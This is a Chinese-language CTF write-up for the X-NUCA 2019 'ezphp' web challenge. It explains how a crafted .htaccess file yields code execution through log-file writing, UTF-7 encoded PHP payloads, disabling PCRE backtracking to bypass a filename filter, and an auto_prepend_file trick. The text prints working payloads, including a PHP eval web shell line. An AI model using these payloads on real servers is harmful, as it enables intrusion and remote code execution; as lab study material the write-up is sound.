目录
解法一
1,error_log 结合 log_errors 自定义错误日志
2,include_path 设置包含路径
3,php_flag zend.multibyte 1 结合 php_value zend.script_encoding "UTF-7" 绕过尖括号 < 过滤
4,# \ 绕过. htaccess 中多余字符
解法二
5,.htaccess 配置 prce 绕过正则匹配
解法三
题目复现链接: https://buuoj.cn/challenges
参考链接: X-NUCA-ezphp 记录
XNUCA 2019 Qualifier 的两个 web 题目 writeup https://www.anquanke.com/post/id/185377#h3-4
解法一
1,error_log 结合 log_errors 自定义错误日志
.htaccess 文件中可以自己定义 error_log, 更多配置可以在 PHP.INI 配置选项列表 https://www.php.net/manual/zh/ini.list.php 找到
- php_value include_path "xxx"
- php_value error_reporting 32767
- php_value error_log /tmp/fl3g.PHP
据此可以做到将报错信息中的 payload, 如:
[Fri Oct 25 17:44:29.533900 2019] [php7:warn] [pid 1387] [client 172.20.10.2:1147] PHP Warning: include_once(): Failed opening 'fl3g.php' for inclusion (include_path='.:/usr/share/php') in /var/www/html/ctf/index.PHP on line 10
这里就可以将 shellcode 配合 include 写进其它目录.
2,include_path 设置包含路径
.htaccess 可以设置 php_value include_path "xxx" 将 include() 的默认路径改变
3,php_flag zend.multibyte 1 结合 php_value zend.script_encoding "UTF-7" 绕过尖括号 < 过滤
参考
写入 utf-7 编码的 shellcode 可以绕过 <? 的过滤
+ADw?PHP phpinfo()+ADs +AF8AXw-halt+AF8-compiler()+ADs
需要在. htaccess 中配置解析的编码:
- php_flag zend.multibyte 1
- php_value zend.script_encoding "UTF-7"
- 4,# \ 绕过. htaccess 中多余字符
poc 中最后生成的. htaccess 是这样的
- php_value include_path "/tmp"
- php_value zend.multibyte 1
- php_value zend.script_encoding "UTF-7"
- # Just one chance
最终题目在. htaccess 后附加的脏字符没有发挥作用而报错, 猜测可能是. htaccess 语法中支持 \ 换行注释?
解法二
5,.htaccess 配置 prce 绕过正则匹配
- php_value pcre.backtrack_limit 0
- php_value pcre.jit 0
if(preg_match("/[^a-z\.]/", $filename) == 1) 而不是 if(preg_match("/[^a-z\.]/", $filename) !== 0), 因此可以通过 php_value 设置正则回朔次数来使正则匹配的结果返回为 false 而不是 0 或 1, 默认的回朔次数比较大, 可以设成 0, 那么当超过此次数以后将返回 false
由此可以绕过 filename 的过滤直接写 shell
解法三
既然可以 \ 换行, 那同样可以用这个绕过过滤
- php_value auto_prepend_file ".htaccess"
- #<?PHP eval($_GET[a]);?>\
来源: http://www.bubuko.com/infodetail-3257452.html